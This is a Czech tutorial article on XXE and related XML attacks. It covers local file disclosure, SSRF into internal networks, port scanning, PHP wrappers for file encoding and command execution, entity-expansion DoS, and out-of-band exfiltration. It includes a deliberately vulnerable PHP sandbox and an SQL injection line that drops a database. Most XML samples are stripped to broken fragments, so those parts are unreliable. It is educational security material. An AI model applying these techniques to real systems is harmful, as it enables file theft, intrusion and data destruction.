XXE a další XML zranitelnosti

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: .cCuMiNn.
Datum: 10.3.2014
Hodnocení/Hlasovalo: 1/33

Se soubory typu XML se dají na webech občas dělat hezké psí kusy. Pojďme si proto některé z těchto útoků blíže představit. XML parsery totiž mohou útočníkům někdy nabídnout opravdu hodně.

Hned v úvodu si řekněme, že útoky založené na XML jsou prostředkem, který se nespokojí pouze s jedním konečným výsledkem, ale který útočníkovi nabízí celou škálu nejrůznějších útoků, například:

XXE Attacks


Všem uvedeným útokům se budeme dále v tomto článku věnovat, ale začneme pěkně od začátku a řekněme si nejprve, kde lze na zranitelnosti tohoto typu narazit.


Výskyt

Odpověď na otázku, kde se s tímto typem zranitelnosti můžeme setkat je poměrně jednoduchá. Potkat se s ní totiž můžeme všude tam, kde je možné ovlivnit XML obsah, jenž je následně zpracován parserem na webovém serveru (v určitých případech ale i klientovi, viz. dále).

Při procházení webu můžete například zahlédnout URL, které mají následující formát:

  http://www.aplikace.cz/neco.php?file=/neco/neco.xml


Adresa podobného vzezření by rozhodně neměla uniknout bdícímu oku pozorovatele.

XML data může ale na server odesílat webová aplikace také přímo, nejčastěji prostřednictvím POST požadavku. V takovém případě by neměla uniknout oku pozorovatele právě XML data v těle tohoto HTML requestu.

V praxi se pak s útoky zneužívajícími XXE mohli setkat mimo jiné například provozovatelé WordPressu s nainstalovaným pluginem Advanced XML Reader nebo provozovatelé systému Shopifi. Ušetřen ale nebyl ani Google nebo Facebook, který za oznámení zranitelnosti tohoto typu vyplatil v rámci svého bounty programu dokonce nejvyšší odměnu v historii.


Úvod do XML entit

Než se podíváme na samotné možnosti zneužití Externích entit ve XML dokumentech, pojďme si nejprve říci o entitách nějakou tu omáčku okolo, abyste se posléze mohli lépe soustředit na finální kouzlení. Začneme při tom stručným povídáním o samotné struktuře XML dokumentu.

Ta začíná blokem Document Type Definition (DTD), ve kterém se definují typy dat, jež mohou obsahovat v dokumentu obsažené elementy, případně se zde definují interní a externí entity a spousta dalších věcí.

Za blokem DTD následuje Dokument Content, nebo-li samotný obsah dokumentu. Ten se skládá z jednotlivých elementů, které musí být vždy párové, což znamená, že každá otevírací značka obklopená ostrými závorkami musí mít rovněž svůj uzavírací protějšek. V případě nepárových tagů se musí používat jejich tvar s lomítkem na svém konci. Elementy je možné do sebe také zanořovat a vytvářet tak složitější struktury.



Nás bude zajímat hlavně DTD část XML dokumentu, protože právě zde se definují nové entity. A co, že to ta entita vlastně je? Určitě jste se již všichni setkali s HTML entitami znaků. Například HTML entitou znaku < je &lt;. Entita &quot; představuje uvozovky a &amp; zase třeba ampersand. Tyto entity jsou již předdefinované také v XML parseru. Vedle nich nám je ale umožněno, si definovat i entity vlastní. Entity jsou vlastně to, čemu v běžných programovacích jazycích říkáme proměnné.


Interní entity

Interní entitě tedy můžeme přiřadit téměř libovolnou hodnotu. V běžném programovacím jazyce by přiřazení vypadalo například takto:

  &entita; = "Obsah mé entity"


Ve XML dokumentu se tyto proměnné (entity) deklarují obdobně v DTD části dokumentu.


]>


Když následně budeme chtít, aby parser použil obsah naší entity v datové části dokumentu, použijeme jednoduše její název &entita;. Celý XML dokument, by pak vypadal například takto:



]>

  Toto je: &entita;


Výsledek uvedeného příkladu bude po zpracování parserem vypadat takto:


Toto je: Obsah me entity


Externí entity

Externí entity jsou obdobou interních entit s tím rozdílem, že se jejich obsah neuvádí v DTD přímo, ale odkazují se na soubor, jehož obsahem se naplní. Mějme například textový soubor note.txt, který obsahuje text „Obsah mého textového souboru.“ Pokud bychom nyní chtěli načíst tento text ze souboru do entity, provedli bychom to následujícím zápisem.



]>

  Toto je: &entita;



Toto je: Obsah mého textového souboru.


Externí entity byly sice zavedeny spíše z jiného důvodu, aby umožnily import definic, ale příklad s textovým souborem je pro nás vhodnější.

Pro náš skromný úvod do problematiky XXE by uvedené informace mohly víceméně postačovat. Má-li kdokoliv z vás potřebu se ve struktuře a možnostech XML dokumentů šťourat více, toho odkážu například na dokument XML schémata od Jiřího Koseka.

Mnoha z vás ale již nyní jistě docvaklo a napadlo vás hned několik možností, jak by uvedených vlastností bylo možné zneužít. Pojďme si tedy v tuto chvíli postavit nějaké to pískoviště na hraní, kde se budete moci dosytosti vyblbnout.


Pískoviště

Abyste si mohli užít legraci s XXE v praxi, bude vám k tomu stačit, když na svůj webový server (klidně lokální, nebo hostingový) nahrajete následující PHP skript.

contact as $contact) {
      echo "$contact->login  : $contact->name
\n"; } } ?>


Skript očekává na svém vstupu GET proměnnou file, která by měla odkazovat na validní XML soubor v tomto tvaru:



  
    karel
    Karel Novotný
  
  
    jana
    Jana Nádherná
  


Následnou úpravou XML souboru si budete moci vyzkoušet všechny dále uvedené příklady.

Pro ty z vás, kteří nemáte možnost uploadovat uvedený skript na webserver, nebo jste na tak "náročnou" operaci prostě jen příliš líní, jsem tento typ zranitelnosti zakomponoval i do našeho Hackme Webmailu, kde se skrz XML načítá adresář kontaktů při tvorbě nové zprávy. Že tomu tak skutečně je, zjistíte průzkumem síťového provozu. Celý postup zachycuje následující video, ve které se dozvíte také to, jak si v testovacím webmailu založit svůj vlastní účet a jak si v něm pak přidáte několik kontaktů do svého adresáře.



Přestože Vám připravená zranitelnost v testovacím webmailu umožní otestovat většinu níže uvedených postupů, přesto Vám vřele doporučuji použít vlastní pískoviště, nejlépe na VPS nebo na localu. V případě využití wehostingu se totiž vystaujete stejným problémům jako v případě použití našeho webmailu, kdy není možné z důvodu některých restrikcí hostingu vyzkoušet úplně vše.

Nyní tedy již máte všechny potřebné nástroje, abyste se mohli s chutí zakousnout do křupavého XXE a na pískovišti si uplácali své první bábovičky. Přeji Vám příjemnou zábavu.


Konkrétní útoky

Nezbytná příprava

V případě našeho webmailu jsme zjistili, že server načítá XML soubor nas-login.xml, který se nachází na adrese http://www.hackmail.cz/articles/contacts/nas-login.xml, což se nám podařilo vydedukovat selským rozumem okořeněným špetkou logického uvažování. Co kdybychom nyní zkusili namísto relativní cesty k souboru vložit absolutní adresu nějakého jiného souboru uloženého kdekoliv jinde v internetu? Vytvořme si proto kopii souboru nas-login.xml, který stáhneme z uvedené adresy a nahrajeme jej na své webové stránky. Nemáte-li možnost uploadu, můžete využít také našeho projetu Administrativ, kam kopii zdrojového kódu XML souboru snadno vložíte. Následně už jen upravte hodnotu parametru file tak, aby směřoval na námi vytvořenou kopii.

  file=http://www.administrativ.cz/test.xml


Abyste se přesvědčili, že je skutečně zpracováván váš soubor, můžete v něm pozměnit uvedená jména kontaktů.

Celý postup včetně uložení XML souboru na Administrativ jsem se opět pokusil zvěčnit pomocí pohyblivých obrázků:



Full Path Disclosure

Odhalení plné cesty ke skriptu, který se stará o parsování XML je tou nejjednodušší variantou útoku. Celou akci můžete bez výčitek klidně svěřit svému mladšímu (dvouletému) bráškovi. Stačí, když jej požádáte, aby párkrát udeřil svou drobnou pěstičkou do klávesnice, a vy pak jen vzniklý galimatiáš odentrujete. Jste-li ovšem šťastnými majiteli dražšího ultrabooku za několik desítek tisíc, nebo má-li váš bráška už ve dvou letech ruku jako Hulk, pak bych možná zvolil poněkud šetrnější variantu a narušil bych strukturu XML souboru mírumilovnější formou.

FPD je totiž postaveno na skutečnosti, že serveru odešlete jakákoliv nevalidní data. Pro jednoduchost stačí například odmazat, nebo naopak přidat nějakou tu ostrou závorku. Parser, který nebude schopen váš XML požadavek zpracovat, o sobě dá pravděpodobně dost hlasitě vědět, přičemž na vás bude řvát nějaké ty urážky o vaší neschopnosti předložit mu data očekávaného formátu. Díky své užvaněnosti ale parser mimo jiné utrousí i nějakou tu zmínku o svém umístění, a o to nám během FPD šlo. V našem případě se tak dozvíme, že skript, který je zodpovědný za zpracování XML dokumentu se jmenuje getcontent.php, je umístěn v adresáři /mnt/swraid/data/h/hackingvpraxi.cz/webmail/articles/, a že obsah XML dokumentu je zpracováván PHP funkcí simplexml_load_file(). Co víc si přát...



Chybových hlášek je ale možné využít i jinak. Z reakcí serveru se můžeme dozvědět například to, zda nějaký soubor existuje, zda je k dispozici přístup k požadovaným vzdáleným zdrojům, apd. Chybové hlášky vám proto doporučuji vždy důkladně prozkoumat, protože mohou poskytnout velice důležité indicie, o nichž se později ještě určitě zmíním.



DoS (rekurze a lokální entity)

Když jsme se bavili o interních entitách, nezmínil jsem se ještě o jedné zajímavé vlastnosti, kterou je možné využít. Touto vlastností je vnořování entit, což znamená, že do obsahu jedné entity můžete vložit entitu jinou. Na tuto vlastnost se nyní zaměříme z pohledu DoS útoku.

Ukažme si na jednoduchém příkladu, o jakém zanořování to vlastně mluvím. Mějme XML dokument, ve kterém si vytvoříme entitu pro křestní jméno a entitu pro příjmení. Následně nám nic nebrání vytvořit entitu pro celé jméno, v jejíž definici využijeme dříve definované entity pro jméno a příjmení.



 
 
]>

  
    &krestny;
    &celejmeno;
  


Nyní si představte následující případ, kdy do sebe budeme zanořovat entity rekurzivně do velké hloubky.



 
 
 
 
 
 
 
 
 
]>
&lol9;


Poslední definovaná entita lol19 v sobě nakonec bude zahrnovat 1010 = miliardu řetězců "lol". Je zřejmé, že to docela ovlivní zdroje serveru, a co teprve, pokud bychom provedli další zanořování.

Náš parser v PHP si s tímto ovšem poradí a ohlásí chybu "parser error : Detected an entity reference loop", že není možné vnořovat tímto způsobem. Parsery v některých jiných jazycích ovšem dokáže tento vstup docela spolehlivě položit.


Cross-Site Scripting

Nyní si představte příklad, že byste chtěli skrz XML dokument injektovat do výstupu kód JavaScriptu. Pokud byste se to snažili udělat způsobem uvedeným v následujícím výpise, docházelo by k nechtěnému parsování tagu <script>, případně by to vedlo k chybě parsování.



  
    karel
    
  


Z uvedeného vyplývá, že některé znaky, jako třeba znaky ostrých závorek, není možné ve XML dokumentu beztrestně použít.

V tuto chvíli ale již víte, že entity proměňuje na jejich skutečný obsah právě parser, který ve svém výstupu vrací už jejich skutečný obsah, a nejinak tomu je i u zabudovaných entit, kterými jsou například entity pro znaky <, >, & nebo ", apd. Pokud tedy upravíme náš ukázkový kód záměnou těchto metaznaků na entity, dosáhneme kýženého výsledku.



  
    karel
    <script>alert(1)</script>
  



Poznámka: Pokud budete číst o XSS, pravěpodobně se dočtete, že použití náhrady nebezpečných metaznaků (např. ostrých závorek) za jejich HTML entity je bezpečné, pak vidíte, že v tomu tak nemusí být vždy. Vždy je tedy potřeba brát v potaz celý kontext a hlavně ošetřovat výstup až při předávání dat uživatelům.

Pro náš kód JavaScriptu můžeme použít také interní entity, jak ukazuje následující výpis:



]>

  
    karel
    &javascript;
  


Poslední možností, jak vložit kód JavaScriptu přímo do dokumentu, je oznámit parseru, že si určité části kódu nemá všímat. Ve XML k tomuto účelu postačí požadovanou část uzavřít mezi sekvence znaků <![CDATA[ a ]]>.

Náš kód by v tomto případě vypadal následovně:



  
    karel
     alert(1)]]>
  


Local File Disclosure

V tuto chvíli se již přesuneme od interních entit k entitám externím, které je možné zneužít s mnohem vážnějšími dopady.

Připomeňme si ukázku externí entity z úvodu tohoto článku:


]>

  Toto je: &entita;


Je vidět, že parser načetl soubor z disku a vložil jej do svého výstupu. Co kdyby ale útočník ve svém XML požadavku uvedl soubor, ke kterému běžně nemá jako uživatel aplikace přístup, ale parser k němu přístup má? Takovým souborem může být například starý známý /etc/passwd z unixových distribucí nebo třeba C:\install.ini z Windows.



]>

  
  soubor
  &entita;
  


Poznámka: Uvedenou variantu si bohužel nemáte možnost vyzkoušet na našem testovacím webmailu, takže buď budete muset použít vlastní pískoviště, nebo se budete muset spokojit s následujícím videem.



Co si ale můžete vyzkoušet i v našem webmailu, je přečtení obsahu souboru .htaccess, ke kterému byste se normálně rovněž neměli dostat.

Z chybové zprávy, kterou vám zobrazil parser v odstavci o Full Path Disclosure jste se mimojiné dozvěděli také celou cestu ke skriptu, takže ji nyní můžete použít k dalším pokusům a soubor .htaccess z kořene webu se můžete pokusit načíst takto:



]>

  
  soubor
  &entita;
  


V příkladu si můžete všimnout, že jsme pro načtení souboru použili protokolu File://, který slouží k přístupu na filesystém, a jehož uvedení je většinou nutné.

Problém vyvstává ve chvíli, kdy se pokusíte načíst obsah souboru obsahující znaky ostrých závorek. Protože se parser pokusí o zpracování souboru, skončí celá akce s největší pravděpodobností chybou. Na to, že byste tímto způsobem načítali například obsah souboru index.php, proto rovnou zapomeňte. Nechci tím ovšem říci, že by přečtení podobných souborů nebylo možné, jen k tomu budeme muset přistoupit trochu jinak. O této variantě se ale zmíním až v odstavci věnovaném wrapperům.


Server-Side Request Forgery (SSRF)

Další možností, kterou externí entity útočníkům nabízí, je zasílání požadavků ze strany serveru na další zařízení Server Side Request Forgery (SSRF). Jako zdroj externí entity totiž můžete bez problému použít také HTTP(S) protokol, nebo i různé další síťové protokoly, viz. odstavec wrappers.

K čemu to může být útočníkovy dobré?

Řekněme, že by útočník našel na nějakém internetovém serveru zranitelnost typu SQL injection, která umožňuje smazat celou databázi odesláním následujícího požadavku:

  http://www.aplikace.cz/action?q='; drop database();--


Útočník v tomto případě může jako zdroj externí entity uvést právě zmíněnou adresu a světe div se, databazáze bude vymazána a v logu zůstane jako strůjce útoku uveden webový server, jehož parser zpracovával upravený XML dokument.


Internal network resources

Mnohem zajímavějším pro útočníka ale může být skutečnost, že pro komunikaci ve vnitřní síti mají jednotlivá zařízení často nastavena mnohem benevolentnější pravidla. Pokud je pak webový server umístěn právě na rozhraní nějaké vnitřní sítě nebo je provoz na tento server routován přímo do LAN, může útočník skrz externí entity mířit své požadavky právě tam. To je věc, jež by mu jinak zůstávala odepřena. Tímto způsobem se může například pokusit přistoupit s defaultním heslem na hraniční routery, nebo může provést detailní průzkum vnitřní sítě.

Princip SSRF do vnitřní sítě



Podle reakcí parseru se pak útočník snadno dozví, zda má k danému zdroji přístup, nebo zda daný zdroj není živý.


Poznámka: Podle prezentace z Defconu by mělo být za určité konstalace hvězd možné použít v PHP na Windows také zástupné znaky ve jméně souboru, což se mi ovšem nepodařilo potvrdit.


Windows Shared Folders Disclosure

Stejným způsobem, který byl uveden v předchozím odstavci, může útočník nejen zjistit, zda je určitá IP adresa v interní síti živá, ale v případě strojů běžících na platformě Windows, dokáže zjistit dokonce i to, zda je možné k některému z počítačů ve vnitřní síti přistoupit s administrátorskými právy. Tato skutečnost by se dala testovat pomocí pokusů o přístup do administrátorských sdílených složek C$.


Poznámka: Ve svém výpisu uvádím běžná lomítka, která mi bez problémů fungují ve WAMPu, kde své ukázky testuji. V různých dokumentech se ovšem uvádí zápis se zpětnými lomítky, které jsou pro Windows typičtější. Případně funguje také zápis s uvedeným wrapperem file://, viz následující výpis.



Port scanning

Ani u skenování portů, jímž je možné na konkrétním stroji ve vnitřní síti otestovat otevřené porty, nebude nutný dlouhý popis. I tentokrát je totiž princip totožný s předchozími případy. Stačí, když budeme testované porty postupně uvádět za adresou cíle oddělené dvojtečkou.


Pokud je port uzavřen, dočkáme se podobné odpovědi jako „Connection refused“ v závislosti na systému. V opačném případě se pravděpodobně dočkáme chyby při parserování obsahu, případně výpisu vráceného textu, nebo timeoutu.


Wrappers

O zneužití protokolů http:// nebo file:// u externích entit jsme se již zmínili. Tyto protokoly ovšem nejsou jedinými prostředky, kterými externí entity mohou přistupovat k datům. V případě PHP jsou podporovány všechny následující wrappery, viz. PHP manuál.

  file://
  http://
  ftp://
  php://
  zlib://
  data://
  glob://
  phar://
  ssh2://
  rar://
  ogg://
  expect://


Pro útočníka z nich budou mít zřejmě nejzásadnější význam wrappery php:// a expect://.


PHP: Filters (Encode File)

Wrapper php:// kromě jiného umožňuje použití filtru convert.base64-encode, jenž je možné zneužít k načtení a zakódování souboru kódováním Base64. Díky němu může útočník do externí entity načíst také soubory obsahující nepovolené metaznaky (např. ostré závorky). Pro útočníky je to tedy nástroj, jak ze serveru mohou získat například obsah .php souborů.



Code Execution

Druhý ze zmíněných wrapperů expect:// zase může útočníkovi otevřít cestu, jak na napadeném systému spustit systémový příkaz. Kód z následujícího výpisu by například spustil příkaz ls sloužící k výpisu filesystému na unixových systémech, a tento obsah by vložil do dokumentu. Jistě chápete, že následky zdárného útoku by mohly být i mnohem závažnější. Naštěstí není možnost použití wrapperu expect příliš častá, i když… Právě zranitelnost na Facebooku umožňovala wrapperu expect:// využít, viz. http://sensepost.com/blog/10178.html


DoS (načítáním speciálních souborů)

O jedné z možností, jak na serveru způsobit odepření služeb (DoS), jsme si již říkali. Nyní se pojďme podívat na další možnost, která ke stejnému cíli zneužívá externí entity. Není nutné se zde nějak zdlouhavě rozepisovat, protože celý útok je opět velice jednoduchý a jeho princip je na první pohled zřejmý. Stačí, aby se útočník pokusil načíst do obsahu externí entity některý ze speciálních souborů, jako jsou:

  /dev/random
  /dev/zero



Odeslání lokálního obsahu útočníkovi

Parametrické entity

Setkat se můžete také s parametrickými entitami, které jsou obdobou entit, s nimiž jsme se již seznámili. Rozdíl je snad pouze v tom, že se před název entity přidává znak procenta a jejich použití je vázáno pouze na DTD část XML dokumentu.

Podle informací uvedených v  tomto dokumentu trpěla například webová aplikace Shopify XXE zranitelností, při které bylo možné zneužít parametrické entity k odeslání obsahu lokálního souboru na server útočníka.

Exploit, jehož obsah je zobrazen v následujícím výpisu, fungoval na principu vnořování entit, kdy se obsah jedné entity (v tomto případě obsah /etc/passwd) předal do druhé entity jako parametr dotazu.

 
'> %param1; %external;


V PHP mi uvedený postup vrací chybu „parser error : PEReferences forbidden in internal subset“ a já tak nemohu uvedený postup demonstrovat. Teoreticky je ovšem možné, že tento postup bude stále funkční v jiných parserech a vzhledem k jeho genialitě, kdy je možné ze serveru získat uložený obsah, bez toho, aby se XML dokument musel reflektovat na výstup stránky.

Poznámka: Entity použité v závěru exploitu %param1; a %external; jsou uvedeny proto, aby se jejich obsah vykonal. Bez jejich uvedení by nedošlo k odeslání požadavku.


XXE na straně uživatele

Externích entit je možné zneužít nejen na straně serveru, ale někdy také na straně koncových uživatelů. Aplikace běžící na straně uživatele totiž mohou rovněž obsahovat XML parsery, které externí entity zpracují. V minulosti tomu tak bylo například u webového prohlížeče Safari. Útočník v tom případě může připravit XML soubor, který odešle obsah lokálního souboru uživatele na server útočníka, ve chvíli, kdy uživatel otevře náchylným programem k tomuto účelu připravený XML dokument.


Další XML zranitelnosti

I když jsem se tímto článkem snažil popsat problematiku a zranitelnosti XML komplexně, přesto se mi v něm nepodařilo zachatit všechny možné formáty XML dokumentů, ani všechny zranitelnosti a následné útoky, které při použití XML webovým aplikacím hrozí. Zájemce o další studium proto tímto odkáži například na stránky OWASP, kde se věnují několika zde nezmíněným variantám útoků.


Zdroje:
XXE: advanced exploitation
XML External Entity Attacks
Slabikář XML - DTD: entity a notace
SSRF bible. Cheatsheet
A Hands-on XML External Entity Vulnerability
XML External Entity(XXE) Vulnerability and Prevention
Google (Public Data) - XML External Entity Vulnerability
Shopify - XML External Entity Vulnerability
Infiltrating corporate networks using XXE injection
Injection Attacks
Apple Safari Vulnerability, XXE attack
Revisting XXE and abusing protocols
BlackHat: XML Out-Of-Band Data Retrieval
PHP manuál: Wrappers
OWASP: XML External Entity (XXE) Processing
Microsoft: XML Denial of Service Attacks and Defenses